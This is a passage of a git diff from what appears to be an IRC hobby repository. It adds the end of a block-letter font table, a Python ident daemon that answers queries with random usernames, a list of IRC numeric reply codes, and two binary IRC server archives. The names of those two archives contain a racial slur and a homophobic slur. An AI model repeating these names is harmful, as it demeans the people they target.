+"$c3    $c1 $c2  $c3  ",
+"$c3     $c1 $c2  $c3 ",
+"$c3      $c1 $c2  $c3",
+"$c3         ",
+],
+"\[" => [
+"$c3     ",
+"$c1 $c2    $c3",
+"$c1 $c2  $c3  ",
+"$c1 $c2  $c3  ",
+"$c1 $c2  $c3  ",
+"$c1 $c2  $c3  ",
+"$c1 $c2  $c3  ",
+"$c1 $c2    $c3",
+"$c3     ",
+],
+"\]" => [
+"$c3     ",
+"$c1 $c2    $c3",
+"$c3  $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3",
+"$c1 $c2    $c3",
+"$c3     ",
+],
+"\{" => [
+"$c3     ",
+"$c3 $c1 $c2   $c3",
+"$c1 $c2  $c3  ",
+"$c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c3  ",
+"$c3 $c1 $c2  $c3 ",
+"$c1 $c2  $c3  ",
+"$c3 $c1 $c2   $c3",
+"$c3     ",
+],
+"\}" => [
+"$c3     ",
+"$c1 $c2   $c3 ",
+"$c3  $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3",
+"$c3 $c1 $c2  $c3 ",
+"$c3  $c1 $c2  $c3",
+"$c1 $c2   $c3 ",
+"$c3     ",
+],
+"\:" => [
+"$c3     ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1 $c2  $c3 ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1 $c2  $c3 ",
+"$c3     ",
+"$c3     ",
+],
+"\;" => [
+"$c3     ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1 $c2  $c3 ",
+"$c3     ",
+"$c3     ",
+"$c3 $c1 $c2  $c3 ",
+"$c3  $c1 $c2 $c3 ",
+"$c3     ",
+],
+"\'" => [
+"$c3    ",
+"$c3 $c1 $c2  ",
+"$c1 $c2  $c3 ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+],
+"\"" => [
+"$c3       ",
+"$c1 $c2  $c3 $c1 $c2  $c3",
+"$c1 $c2  $c3 $c1 $c2  $c3",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3       ",
+],
+"\<" => [
+"$c3       ",
+"$c3       ",
+"$c3    $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3  ",
+"$c1 $c2  $c3    ",
+"$c3  $c1 $c2  $c3  ",
+"$c3    $c1 $c2  $c3",
+"$c3       ",
+"$c3       ",
+],
+"\>" => [
+"$c3       ",
+"$c3       ",
+"$c1 $c2  $c3    ",
+"$c3  $c1 $c2  $c3  ",
+"$c3    $c1 $c2  $c3",
+"$c3  $c1 $c2  $c3  ",
+"$c1 $c2  $c3    ",
+"$c3       ",
+"$c3       ",
+],
+"\?" => [
+"$c3         ",
+"$c3  $c1 $c2     $c3 ",
+"$c3 $c1 $c2  $c3  $c1 $c2  ",
+"$c3     $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3   ",
+"$c3         ",
+"$c3 $c1 $c2  $c3     ",
+"$c3         ",
+],
+"\," => [
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c1 $c2  $c3",
+"$c3 $c1 $c2 $c3",
+],
+"\." => [
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c3   ",
+"$c1 $c2  ",
+"$c3   ",
+],
+"\/" => [
+"$c3         ",
+"$c3      $c1 $c2  $c3",
+"$c3     $c1 $c2  $c3 ",
+"$c3    $c1 $c2  $c3  ",
+"$c3   $c1 $c2  $c3   ",
+"$c3  $c1 $c2  $c3    ",
+"$c3 $c1 $c2  $c3     ",
+"$c1 $c2  $c3      ",
+"$c3         ",
+],
+);
+}
diff --git a/identd.py b/identd.py
new file mode 100644
index 0000000..6c8fcb7
--- /dev/null
+++ b/identd.py
@@ -0,0 +1,81 @@
+#!/usr/bin/env python
+# ident protocol daemon - developed by acidvegas in Python (https://acid.vegas/random)
+
+import os
+import random
+import re
+import socket
+import string
+import threading
+import pwd
+
+def check_privledges():
+	if os.getuid() == 0 or os.geteuid() == 0:
+		return True
+	else:
+		return False
+
+def is_valid_port(port):
+	if port > 0 and port <= 65535:
+		return True
+	else:
+		return False
+
+def random_str(size):
+	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+class Identd(threading.Thread):
+	def __init__(self, protocol, address, port):
+		self.protocol = protocol
+		self.address  = address
+		self.port     = port
+		self.sock     = None
+		threading.Thread.__init__(self)
+
+	def run(self):
+		try:
+			self._create_sockets()
+			self._drop_privledges()
+			self._listen()
+		except Exception as ex:
+			print('error: ' + str(ex))
+
+	def _create_sockets(self):
+		self.sock = socket.socket(self.protocol)
+		self.sock.bind((self.address, self.port))
+		self.sock.listen(5)
+		self.sock.setblocking(0)
+
+	def _drop_privledges(self):
+		os.setgroups([])
+		os.setgid(pwd.getpwnam('nobody').pw_gid)
+		os.setuid(pwd.getpwnam('nobody').pw_uid)
+
+	def _listen(self):
+		while True:
+			client, addr = self.sock.accept()
+			data = client.recv(1024).decode('ascii').rstrip()
+			source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
+			print(f'[REQUEST] {source_ip}: {data}')
+			response = self._parse_data(data)
+			client.send(f'{response}\r\n'.encode('ascii'))
+			print(f'[ REPLY ] {source_ip}: {response}')
+			client.close()
+
+	def _parse_data(self, data):
+		if not re.match(r'(\d+).*,.*(\d+)', data):
+			return data + ' : ERROR : INVALID-PORT'
+		lport, rport = data.split(',')
+		lport = int(re.sub(r'\D', '', lport))
+		rport = int(re.sub(r'\D', '', rport))
+		if not is_valid_port(lport) or not is_valid_port(rport):
+			return data + ' : ERROR : INVALID-PORT'
+		return data + ' : USERID : UNIX : ' + random_str(5)
+
+# Main
+if not check_privledges():
+	raise SystemExit('requires sudo privledges to bind to port 113')
+Identd(socket.AF_INET,  '0.0.0.0', 113).start()
+Identd(socket.AF_INET6, '::',      113).start()
+while True:
+	input('')
\ No newline at end of file
diff --git a/ircd/gaymircd.tar.gz b/ircd/gaymircd.tar.gz
new file mode 100644
index 0000000..147a3bb
Binary files /dev/null and b/ircd/gaymircd.tar.gz differ
diff --git a/ircd/nigircd.tar.gz b/ircd/nigircd.tar.gz
new file mode 100644
index 0000000..66545ab
Binary files /dev/null and b/ircd/nigircd.tar.gz differ
diff --git a/numerics.txt b/numerics.txt
new file mode 100644
index 0000000..7ccd9e6
--- /dev/null
+++ b/numerics.txt
@@ -0,0 +1,673 @@
+NUM  NAME                      ORIGIN
+-------------------------------------
+001  RPL_WELCOME               RFC2812 
+002  RPL_YOURHOST              RFC2812 
+003  RPL_CREATED               RFC2812 
+004  RPL_MYINFO                RFC2812 
+005  RPL_BOUNCE                RFC2812 
+005  RPL_ISUPPORT              
+006  RPL_MAP                   Unreal 
+007  RPL_MAPEND                Unreal 
+008  RPL_SNOMASK               ircu 
+009  RPL_STATMEMTOT            ircu 
+010  RPL_BOUNCE                
+010  RPL_STATMEM               ircu 
+014  RPL_YOURCOOKIE            Hybrid? 
+015  RPL_MAP                   ircu 
+016  RPL_MAPMORE               ircu 
+017  RPL_MAPEND                ircu 
+018  RPL_MAPUSERS              InspIRCd 
+020  RPL_HELLO                 rusnet-ircd 
+030  RPL_APASSWARN_SET         ircu 
+031  RPL_APASSWARN_SECRET      ircu 
+032  RPL_APASSWARN_CLEAR       ircu 
+042  RPL_YOURID                IRCnet 
+043  RPL_SAVENICK              IRCnet 
+050  RPL_ATTEMPTINGJUNC        aircd 
+051  RPL_ATTEMPTINGREROUTE     aircd 
+105  RPL_REMOTEISUPPORT        Unreal 
+200  RPL_TRACELINK             RFC1459 
+201  RPL_TRACECONNECTING       RFC1459 
+202  RPL_TRACEHANDSHAKE        RFC1459 
+203  RPL_TRACEUNKNOWN          RFC1459 
+204  RPL_TRACEOPERATOR         RFC1459 
+205  RPL_TRACEUSER             RFC1459 
+206  RPL_TRACESERVER           RFC1459 
+207  RPL_TRACESERVICE          RFC2812 
+208  RPL_TRACENEWTYPE          RFC1459 
+209  RPL_TRACECLASS            RFC2812 
+210  RPL_TRACERECONNECT        RFC2812 
+210  RPL_STATS                 aircd 
+210  RPL_STATSHELP             Unreal 
+211  RPL_STATSLINKINFO         RFC1459 
+212  RPL_STATSCOMMANDS         RFC1459 
+213  RPL_STATSCLINE            RFC1459 
+214  RPL_STATSNLINE            RFC1459 
+215  RPL_STATSILINE            RFC1459 
+216  RPL_STATSKLINE            RFC1459 
+217  RPL_STATSQLINE            RFC1459 
+217  RPL_STATSPLINE            ircu 
+218  RPL_STATSYLINE            RFC1459 
+219  RPL_ENDOFSTATS            RFC1459 
+220  RPL_STATSPLINE            Hybrid 
+220  RPL_STATSBLINE            Bahamut, Unreal 
+220  RPL_STATSWLINE            Nefarious 
+221  RPL_UMODEIS               RFC1459 
+222  RPL_MODLIST               
+222  RPL_SQLINE_NICK           Unreal 
+222  RPL_STATSBLINE            Bahamut 
+222  RPL_STATSJLINE            ircu 
+222  RPL_CODEPAGE              rusnet-ircd 
+223  RPL_STATSELINE            Bahamut 
+223  RPL_STATSGLINE            Unreal 
+223  RPL_CHARSET               rusnet-ircd 
+224  RPL_STATSFLINE            Hybrid, Bahamut 
+224  RPL_STATSTLINE            Unreal 
+225  RPL_STATSDLINE            Hybrid 
+225  RPL_STATSCLONE            Bahamut 
+225  RPL_STATSZLINE            Bahamut 
+225  RPL_STATSELINE            Unreal 
+226  RPL_STATSCOUNT            Bahamut 
+226  RPL_STATSALINE            Hybrid 
+226  RPL_STATSNLINE            Unreal 
+227  RPL_STATSGLINE            Bahamut 
+227  RPL_STATSVLINE            Unreal 
+227  RPL_STATSBLINE            Rizon 
+228  RPL_STATSQLINE            ircu 
+228  RPL_STATSBANVER           Unreal 
+229  RPL_STATSSPAMF            Unreal 
+230  RPL_STATSEXCEPTTKL        Unreal 
+231  RPL_SERVICEINFO           RFC1459 
+232  RPL_ENDOFSERVICES         RFC1459 
+232  RPL_RULES                 Unreal 
+233  RPL_SERVICE               RFC1459 
+234  RPL_SERVLIST              RFC2812 
+235  RPL_SERVLISTEND           RFC2812 
+236  RPL_STATSVERBOSE          ircu 
+237  RPL_STATSENGINE           ircu 
+238  RPL_STATSFLINE            ircu 
+239  RPL_STATSIAUTH            IRCnet 
+240  RPL_STATSVLINE            RFC2812 
+240  RPL_STATSXLINE            AustHex 
+241  RPL_STATSLLINE            RFC1459 
+242  RPL_STATSUPTIME           RFC1459 
+243  RPL_STATSOLINE            RFC1459 
+244  RPL_STATSHLINE            RFC1459 
+245  RPL_STATSSLINE            Bahamut, IRCnet, Hybrid 
+245  RPL_STATSTLINE            Hybrid? 
+246  RPL_STATSPING             RFC2812 
+246  RPL_STATSSERVICE          Hybrid 
+246  RPL_STATSTLINE            ircu 
+246  RPL_STATSULINE            Hybrid 
+247  RPL_STATSBLINE            RFC2812 
+247  RPL_STATSXLINE            Hybrid, PTlink, Unreal 
+247  RPL_STATSGLINE            ircu 
+248  RPL_STATSULINE            ircu 
+248  RPL_STATSDEFINE           IRCnet 
+249  RPL_STATSULINE            
+249  RPL_STATSDEBUG            Hybrid 
+250  RPL_STATSDLINE            RFC2812 
+250  RPL_STATSCONN             ircu, Unreal 
+251  RPL_LUSERCLIENT           RFC1459 
+252  RPL_LUSEROP               RFC1459 
+253  RPL_LUSERUNKNOWN          RFC1459 
+254  RPL_LUSERCHANNELS         RFC1459 
+255  RPL_LUSERME               RFC1459 
+256  RPL_ADMINME               RFC1459 
+257  RPL_ADMINLOC1             RFC1459 
+258  RPL_ADMINLOC2             RFC1459 
+259  RPL_ADMINEMAIL            RFC1459 
+261  RPL_TRACELOG              RFC1459 
+262  RPL_TRACEPING             
+262  RPL_TRACEEND              RFC2812 
+263  RPL_TRYAGAIN              RFC2812 
+264  RPL_USINGSSL              rusnet-ircd 
+265  RPL_LOCALUSERS            aircd, Hybrid, Bahamut 
+266  RPL_GLOBALUSERS           aircd, Hybrid, Bahamut 
+267  RPL_START_NETSTAT         aircd 
+268  RPL_NETSTAT               aircd 
+269  RPL_END_NETSTAT           aircd 
+270  RPL_PRIVS                 ircu 
+270  RPL_MAPUSERS              InspIRCd 2.0 
+271  RPL_SILELIST              ircu 
+272  RPL_ENDOFSILELIST         ircu 
+273  RPL_NOTIFY                aircd 
+274  RPL_ENDNOTIFY             aircd 
+274  RPL_STATSDELTA            IRCnet 
+275  RPL_STATSDLINE            ircu, Ultimate 
+275  RPL_USINGSSL              Bahamut 
+276  RPL_WHOISCERTFP           oftc-hybrid 
+276  RPL_STATSRLINE            ircu 
+276  RPL_VCHANEXIST            Hybrid 
+277  RPL_VCHANLIST             Hybrid 
+278  RPL_VCHANHELP             Hybrid 7.0? 
+280  RPL_GLIST                 ircu 
+281  RPL_ENDOFGLIST            ircu 
+281  RPL_ACCEPTLIST            
+282  RPL_ENDOFACCEPT           
+282  RPL_JUPELIST              ircu 
+283  RPL_ALIST                 
+283  RPL_ENDOFJUPELIST         ircu 
+284  RPL_ENDOFALIST            
+284  RPL_FEATURE               ircu 
+285  RPL_GLIST_HASH            
+285  RPL_CHANINFO_HANDLE       aircd 
+285  RPL_NEWHOSTIS             QuakeNet 
+286  RPL_CHANINFO_USERS        aircd 
+286  RPL_CHKHEAD               QuakeNet 
+287  RPL_CHANINFO_CHOPS        aircd 
+287  RPL_CHANUSER              QuakeNet 
+288  RPL_CHANINFO_VOICES       aircd 
+288  RPL_PATCHHEAD             QuakeNet 
+289  RPL_CHANINFO_AWAY         aircd 
+289  RPL_PATCHCON              QuakeNet 
+290  RPL_CHANINFO_OPERS        aircd 
+290  RPL_HELPHDR               Unreal 
+290  RPL_DATASTR               QuakeNet 
+291  RPL_CHANINFO_BANNED       aircd 
+291  RPL_HELPOP                Unreal 
+291  RPL_ENDOFCHECK            QuakeNet 
+292  RPL_CHANINFO_BANS         aircd 
+292  RPL_HELPTLR               Unreal 
+292  ERR_SEARCHNOMATCH         Nefarious 
+293  RPL_CHANINFO_INVITE       aircd 
+293  RPL_HELPHLP               Unreal 
+294  RPL_CHANINFO_INVITES      aircd 
+294  RPL_HELPFWD               Unreal 
+295  RPL_CHANINFO_KICK         aircd 
+295  RPL_HELPIGN               Unreal 
+296  RPL_CHANINFO_KICKS        aircd 
+299  RPL_END_CHANINFO          aircd 
+300  RPL_NONE                  RFC1459 
+301  RPL_AWAY                  RFC1459 
+302  RPL_USERHOST              RFC1459 
+303  RPL_ISON                  RFC1459 
+304  RPL_TEXT                  irc2? 
+305  RPL_UNAWAY                RFC1459 
+306  RPL_NOWAWAY               RFC1459 
+307  RPL_USERIP                
+307  RPL_WHOISREGNICK          Bahamut, Unreal 
+307  RPL_SUSERHOST             AustHex 
+308  RPL_NOTIFYACTION          aircd 
+308  RPL_WHOISADMIN            Bahamut 
+308  RPL_RULESSTART            Unreal 
+309  RPL_NICKTRACE             aircd 
+309  RPL_WHOISSADMIN           Bahamut 
+309  RPL_ENDOFRULES            Unreal 
+309  RPL_WHOISHELPER           AustHex 
+309  RPL_WHOISSERVICE          oftc-hybrid 
+310  RPL_WHOISSVCMSG           Bahamut 
+310  RPL_WHOISHELPOP           Unreal 
+310  RPL_WHOISSERVICE          AustHex 
+311  RPL_WHOISUSER             RFC1459 
+312  RPL_WHOISSERVER           RFC1459 
+313  RPL_WHOISOPERATOR         RFC1459 
+314  RPL_WHOWASUSER            RFC1459 
+315  RPL_ENDOFWHO              RFC1459 
+316  RPL_WHOISPRIVDEAF         Nefarious 
+316  RPL_WHOISCHANOP           RFC1459 
+317  RPL_WHOISIDLE             RFC1459 
+318  RPL_ENDOFWHOIS            RFC1459 
+319  RPL_WHOISCHANNELS         RFC1459 
+320  RPL_WHOISVIRT             AustHex 
+320  RPL_WHOIS_HIDDEN          Anothernet 
+320  RPL_WHOISSPECIAL          Unreal 
+321  RPL_LISTSTART             RFC1459 
+322  RPL_LIST                  RFC1459 
+323  RPL_LISTEND               RFC1459 
+324  RPL_CHANNELMODEIS         RFC1459 
+325  RPL_UNIQOPIS              RFC2812 
+325  RPL_CHANNELPASSIS         
+325  RPL_WHOISWEBIRC           Nefarious 
+325  RPL_CHANNELMLOCKIS        sorircd 
+326  RPL_NOCHANPASS            
+327  RPL_CHPASSUNKNOWN         
+327  RPL_WHOISHOST             rusnet-ircd 
+328  RPL_CHANNEL_URL           Bahamut, AustHex 
+329  RPL_CREATIONTIME          Bahamut 
+330  RPL_WHOWAS_TIME           
+330  RPL_WHOISACCOUNT          ircu 
+331  RPL_NOTOPIC               RFC1459 
+332  RPL_TOPIC                 RFC1459 
+333  RPL_TOPICWHOTIME          ircu 
+334  RPL_LISTUSAGE             ircu 
+334  RPL_COMMANDSYNTAX         Bahamut 
+334  RPL_LISTSYNTAX            Unreal 
+335  RPL_WHOISBOT              Unreal 
+335  RPL_WHOISTEXT             Hybrid 
+335  RPL_WHOISACCOUNTONLY      Nefarious 
+336  RPL_INVITELIST            Hybrid 
+336  RPL_WHOISBOT              Nefarious 
+337  RPL_ENDOFINVITELIST       Hybrid 
+337  RPL_WHOISTEXT             Hybrid? 
+338  RPL_CHANPASSOK            
+338  RPL_WHOISACTUALLY         ircu, Bahamut 
+339  RPL_BADCHANPASS           
+339  RPL_WHOISMARKS            Nefarious 
+340  RPL_USERIP                ircu 
+341  RPL_INVITING              RFC1459 
+342  RPL_SUMMONING             RFC1459 
+343  RPL_WHOISKILL             Nefarious 
+344  RPL_WHOISCOUNTRY          InspIRCd 2.0 
+344  RPL_WHOISCOUNTRY          InspIRCd 3.0 
+344  RPL_REOPLIST              IRCnet 
+345  RPL_INVITED               GameSurge 
+345  RPL_ENDOFREOPLIST         IRCnet 
+346  RPL_INVITELIST            RFC2812 
+347  RPL_ENDOFINVITELIST       RFC2812 
+348  RPL_EXCEPTLIST            RFC2812 
+349  RPL_ENDOFEXCEPTLIST       RFC2812 
+350  RPL_WHOISGATEWAY          InspIRCd 3.0 
+351  RPL_VERSION               RFC1459 
+352  RPL_WHOREPLY              RFC1459 
+353  RPL_NAMREPLY              RFC1459 
+354  RPL_WHOSPCRPL             ircu 
+355  RPL_NAMREPLY_             QuakeNet 
+357  RPL_MAP                   AustHex 
+358  RPL_MAPMORE               AustHex 
+359  RPL_MAPEND                AustHex 
+360  RPL_WHOWASREAL            Charybdis 
+361  RPL_KILLDONE              RFC1459 
+362  RPL_CLOSING               RFC1459 
+363  RPL_CLOSEEND              RFC1459 
+364  RPL_LINKS                 RFC1459 
+365  RPL_ENDOFLINKS            RFC1459 
+366  RPL_ENDOFNAMES            RFC1459 
+367  RPL_BANLIST               RFC1459 
+368  RPL_ENDOFBANLIST          RFC1459 
+369  RPL_ENDOFWHOWAS           RFC1459 
+371  RPL_INFO                  RFC1459 
+372  RPL_MOTD                  RFC1459 
+373  RPL_INFOSTART             RFC1459 
+374  RPL_ENDOFINFO             RFC1459 
+375  RPL_MOTDSTART             RFC1459 
+376  RPL_ENDOFMOTD             RFC1459 
+377  RPL_KICKEXPIRED           aircd 
+377  RPL_SPAM                  AustHex 
+378  RPL_BANEXPIRED            aircd 
+378  RPL_WHOISHOST             Unreal 
+378  RPL_MOTD                  AustHex 
+379  RPL_KICKLINKED            aircd 
+379  RPL_WHOISMODES            Unreal 
+379  RPL_WHOWASIP              InspIRCd 2.0 
+380  RPL_BANLINKED             aircd 
+380  RPL_YOURHELPER            AustHex 
+381  RPL_YOUREOPER             RFC1459 
+382  RPL_REHASHING             RFC1459 
+383  RPL_YOURESERVICE          RFC2812 
+384  RPL_MYPORTIS              RFC1459 
+385  RPL_NOTOPERANYMORE        AustHex, Hybrid, Unreal 
+386  RPL_QLIST                 Unreal 
+386  RPL_IRCOPS                Ultimate 
+386  RPL_IRCOPSHEADER          Nefarious 
+386  RPL_RSACHALLENGE          Hybrid 
+387  RPL_ENDOFQLIST            Unreal 
+387  RPL_ENDOFIRCOPS           Ultimate 
+387  RPL_IRCOPS                Nefarious 
+388  RPL_ALIST                 Unreal 
+388  RPL_ENDOFIRCOPS           Nefarious 
+389  RPL_ENDOFALIST            Unreal 
+391  RPL_TIME                  RFC1459 
+391  RPL_TIME                  ircu 
+391  RPL_TIME                  bdq-ircd 
+391  RPL_TIME                  
+392  RPL_USERSSTART            RFC1459 
+393  RPL_USERS                 RFC1459 
+394  RPL_ENDOFUSERS            RFC1459 
+395  RPL_NOUSERS               RFC1459 
+396  RPL_VISIBLEHOST           Hybrid 
+399  RPL_CLONES                InspIRCd 3.0 
+400  ERR_UNKNOWNERROR          
+401  ERR_NOSUCHNICK            RFC1459 
+402  ERR_NOSUCHSERVER          RFC1459 
+403  ERR_NOSUCHCHANNEL         RFC1459 
+404  ERR_CANNOTSENDTOCHAN      RFC1459 
+405  ERR_TOOMANYCHANNELS       RFC1459 
+406  ERR_WASNOSUCHNICK         RFC1459 
+407  ERR_TOOMANYTARGETS        RFC1459 
+408  ERR_NOSUCHSERVICE         RFC2812 
+408  ERR_NOCOLORSONCHAN        Bahamut 
+408  ERR_NOCTRLSONCHAN         Hybrid 
+409  ERR_NOORIGIN              RFC1459 
+410  ERR_INVALIDCAPCMD         Undernet? 
+411  ERR_NORECIPIENT           RFC1459 
+412  ERR_NOTEXTTOSEND          RFC1459 
+413  ERR_NOTOPLEVEL            RFC1459 
+414  ERR_WILDTOPLEVEL          RFC1459 
+415  ERR_BADMASK               RFC2812 
+416  ERR_TOOMANYMATCHES        IRCnet 
+416  ERR_QUERYTOOLONG          ircu 
+417  ERR_INPUTTOOLONG          ircu 
+419  ERR_LENGTHTRUNCATED       aircd 
+420  ERR_AMBIGUOUSCOMMAND      InspIRCd 
+421  ERR_UNKNOWNCOMMAND        RFC1459 
+422  ERR_NOMOTD                RFC1459 
+423  ERR_NOADMININFO           RFC1459 
+424  ERR_FILEERROR             RFC1459 
+425  ERR_NOOPERMOTD            Unreal 
+429  ERR_TOOMANYAWAY           Bahamut 
+430  ERR_EVENTNICKCHANGE       AustHex 
+431  ERR_NONICKNAMEGIVEN       RFC1459 
+432  ERR_ERRONEUSNICKNAME      RFC1459 
+433  ERR_NICKNAMEINUSE         RFC1459 
+434  ERR_SERVICENAMEINUSE      AustHex? 
+434  ERR_NORULES               Unreal, Ultimate 
+435  ERR_SERVICECONFUSED       Unreal 
+435  ERR_BANONCHAN             Bahamut 
+436  ERR_NICKCOLLISION         RFC1459 
+437  ERR_UNAVAILRESOURCE       RFC2812 
+437  ERR_BANNICKCHANGE         ircu 
+438  ERR_NICKTOOFAST           ircu 
+438  ERR_DEAD                  IRCnet 
+439  ERR_TARGETTOOFAST         ircu 
+440  ERR_SERVICESDOWN          Bahamut, Unreal 
+441  ERR_USERNOTINCHANNEL      RFC1459 
+442  ERR_NOTONCHANNEL          RFC1459 
+443  ERR_USERONCHANNEL         RFC1459 
+444  ERR_NOLOGIN               RFC1459 
+445  ERR_SUMMONDISABLED        RFC1459 
+446  ERR_USERSDISABLED         RFC1459 
+447  ERR_NONICKCHANGE          Unreal 
+448  ERR_FORBIDDENCHANNEL      Unreal 
+449  ERR_NOTIMPLEMENTED        Undernet 
+451  ERR_NOTREGISTERED         RFC1459 
+452  ERR_IDCOLLISION           
+453  ERR_NICKLOST              
+455  ERR_HOSTILENAME           Unreal 
+456  ERR_ACCEPTFULL            
+457  ERR_ACCEPTEXIST           
+458  ERR_ACCEPTNOT             
+459  ERR_NOHIDING              Unreal 
+460  ERR_NOTFORHALFOPS         Unreal 
+461  ERR_NEEDMOREPARAMS        RFC1459 
+462  ERR_ALREADYREGISTERED     RFC1459 
+463  ERR_NOPERMFORHOST         RFC1459 
+464  ERR_PASSWDMISMATCH        RFC1459 
+465  ERR_YOUREBANNEDCREEP      RFC1459 
+466  ERR_YOUWILLBEBANNED       RFC1459 
+467  ERR_KEYSET                RFC1459 
+468  ERR_INVALIDUSERNAME       ircu 
+468  ERR_ONLYSERVERSCANCHANGE   Bahamut, Unreal 
+468  ERR_NOCODEPAGE            rusnet-ircd 
+469  ERR_LINKSET               Unreal 
+470  ERR_LINKCHANNEL           Unreal 
+470  ERR_KICKEDFROMCHAN        aircd 
+470  ERR_7BIT                  rusnet-ircd 
+471  ERR_CHANNELISFULL         RFC1459 
+472  ERR_UNKNOWNMODE           RFC1459 
+473  ERR_INVITEONLYCHAN        RFC1459 
+474  ERR_BANNEDFROMCHAN        RFC1459 
+475  ERR_BADCHANNELKEY         RFC1459 
+476  ERR_BADCHANMASK           RFC2812 
+477  ERR_NOCHANMODES           RFC2812 
+477  ERR_NEEDREGGEDNICK        Bahamut, ircu, Unreal 
+478  ERR_BANLISTFULL           RFC2812 
+479  ERR_BADCHANNAME           Hybrid 
+479  ERR_LINKFAIL              Unreal 
+479  ERR_NOCOLOR               rusnet-ircd 
+480  ERR_NOULINE               AustHex 
+480  ERR_CANNOTKNOCK           Unreal 
+480  ERR_THROTTLE              Ratbox 
+480  ERR_SSLONLYCHAN           Hybrid 
+480  ERR_NOWALLOP              rusnet-ircd 
+481  ERR_NOPRIVILEGES          RFC1459 
+482  ERR_CHANOPRIVSNEEDED      RFC1459 
+483  ERR_CANTKILLSERVER        RFC1459 
+484  ERR_RESTRICTED            RFC2812 
+484  ERR_ISCHANSERVICE         Undernet 
+484  ERR_DESYNC                Bahamut, Hybrid, PTlink 
+484  ERR_ATTACKDENY            Unreal 
+485  ERR_UNIQOPRIVSNEEDED      RFC2812 
+485  ERR_KILLDENY              Unreal 
+485  ERR_CANTKICKADMIN         PTlink 
+485  ERR_ISREALSERVICE         QuakeNet 
+485  ERR_CHANBANREASON         Hybrid 
+485  ERR_BANNEDNICK            Ratbox 
+486  ERR_NONONREG              Unreal? 
+486  ERR_RLINED                rusnet-ircd 
+486  ERR_HTMDISABLED           Unreal 
+487  ERR_CHANTOORECENT         IRCnet 
+487  ERR_MSGSERVICES           Bahamut 
+487  ERR_NOTFORUSERS           Unreal? 
+487  ERR_NONONSSL              ChatIRCd 
+488  ERR_TSLESSCHAN            IRCnet 
+488  ERR_HTMDISABLED           Unreal? 
+488  ERR_NOSSL                 Bahamut 
+489  ERR_SECUREONLYCHAN        Unreal 
+489  ERR_VOICENEEDED           Undernet 
+490  ERR_ALLMUSTSSL            InspIRCd 
+490  ERR_NOSWEAR               Unreal 
+491  ERR_NOOPERHOST            RFC1459 
+492  ERR_NOSERVICEHOST         RFC1459 
+492  ERR_NOCTCP                Hybrid / Unreal? 
+492  ERR_CANNOTSENDTOUSER      Charybdis? 
+493  ERR_NOSHAREDCHAN          Bahamut 
+493  ERR_NOFEATURE             ircu 
+494  ERR_BADFEATVALUE          ircu 
+494  ERR_OWNMODE               Bahamut, charybdis? 
+495  ERR_BADLOGTYPE            ircu 
+495  ERR_DELAYREJOIN           InspIRCd 2.0 
+496  ERR_BADLOGSYS             ircu 
+497  ERR_BADLOGVALUE           ircu 
+498  ERR_ISOPERLCHAN           ircu 
+499  ERR_CHANOWNPRIVNEEDED     Unreal 
+500  ERR_TOOMANYJOINS          Unreal? 
+500  ERR_NOREHASHPARAM         rusnet-ircd 
+500  ERR_CANNOTSETMODER        InspIRCd 
+501  ERR_UMODEUNKNOWNFLAG      RFC1459 
+501  ERR_UNKNOWNSNOMASK        InspIRCd 
+502  ERR_USERSDONTMATCH        RFC1459 
+503  ERR_GHOSTEDCLIENT         Hybrid 
+503  ERR_VWORLDWARN            AustHex 
+504  ERR_USERNOTONSERV         
+511  ERR_SILELISTFULL          ircu 
+512  ERR_TOOMANYWATCH          Bahamut 
+512  ERR_NOSUCHGLINE           ircu 
+513  ERR_BADPING               ircu 
+514  ERR_TOOMANYDCC            Bahamut 
+514  ERR_NOSUCHJUPE            irch 
+514  ERR_INVALID_ERROR         ircu 
+515  ERR_BADEXPIRE             ircu 
+516  ERR_DONTCHEAT             ircu 
+517  ERR_DISABLED              ircu 
+518  ERR_NOINVITE              Unreal 
+518  ERR_LONGMASK              ircu 
+519  ERR_ADMONLY               Unreal 
+519  ERR_TOOMANYUSERS          ircu 
+520  ERR_OPERONLY              Unreal 
+520  ERR_MASKTOOWIDE           ircu 
+520  ERR_WHOTRUNC              AustHex 
+521  ERR_LISTSYNTAX            Bahamut 
+521  ERR_NOSUCHGLINE           Nefarious 
+522  ERR_WHOSYNTAX             Bahamut 
+523  ERR_WHOLIMEXCEED          Bahamut 
+524  ERR_QUARANTINED           ircu 
+524  ERR_OPERSPVERIFY          Unreal 
+524  ERR_HELPNOTFOUND          Hybrid 
+525  ERR_INVALIDKEY            ircu 
+525  ERR_REMOTEPFX             CAPAB USERCMDPFX 
+526  ERR_PFXUNROUTABLE         CAPAB USERCMDPFX 
+531  ERR_CANTSENDTOUSER        InspIRCd 
+550  ERR_BADHOSTMASK           QuakeNet 
+551  ERR_HOSTUNAVAIL           QuakeNet 
+552  ERR_USINGSLINE            QuakeNet 
+553  ERR_STATSSLINE            QuakeNet 
+560  ERR_NOTLOWEROPLEVEL       ircu 
+561  ERR_NOTMANAGER            ircu 
+562  ERR_CHANSECURED           ircu 
+563  ERR_UPASSSET              ircu 
+564  ERR_UPASSNOTSET           ircu 
+566  ERR_NOMANAGER             ircu 
+567  ERR_UPASS_SAME_APASS      ircu 
+568  ERR_LASTERROR             ircu 
+568  RPL_NOOMOTD               Nefarious 
+597  RPL_REAWAY                Unreal 
+598  RPL_GONEAWAY              Unreal 
+599  RPL_NOTAWAY               Unreal 
+600  RPL_LOGON                 Bahamut, Unreal 
+601  RPL_LOGOFF                Bahamut, Unreal 
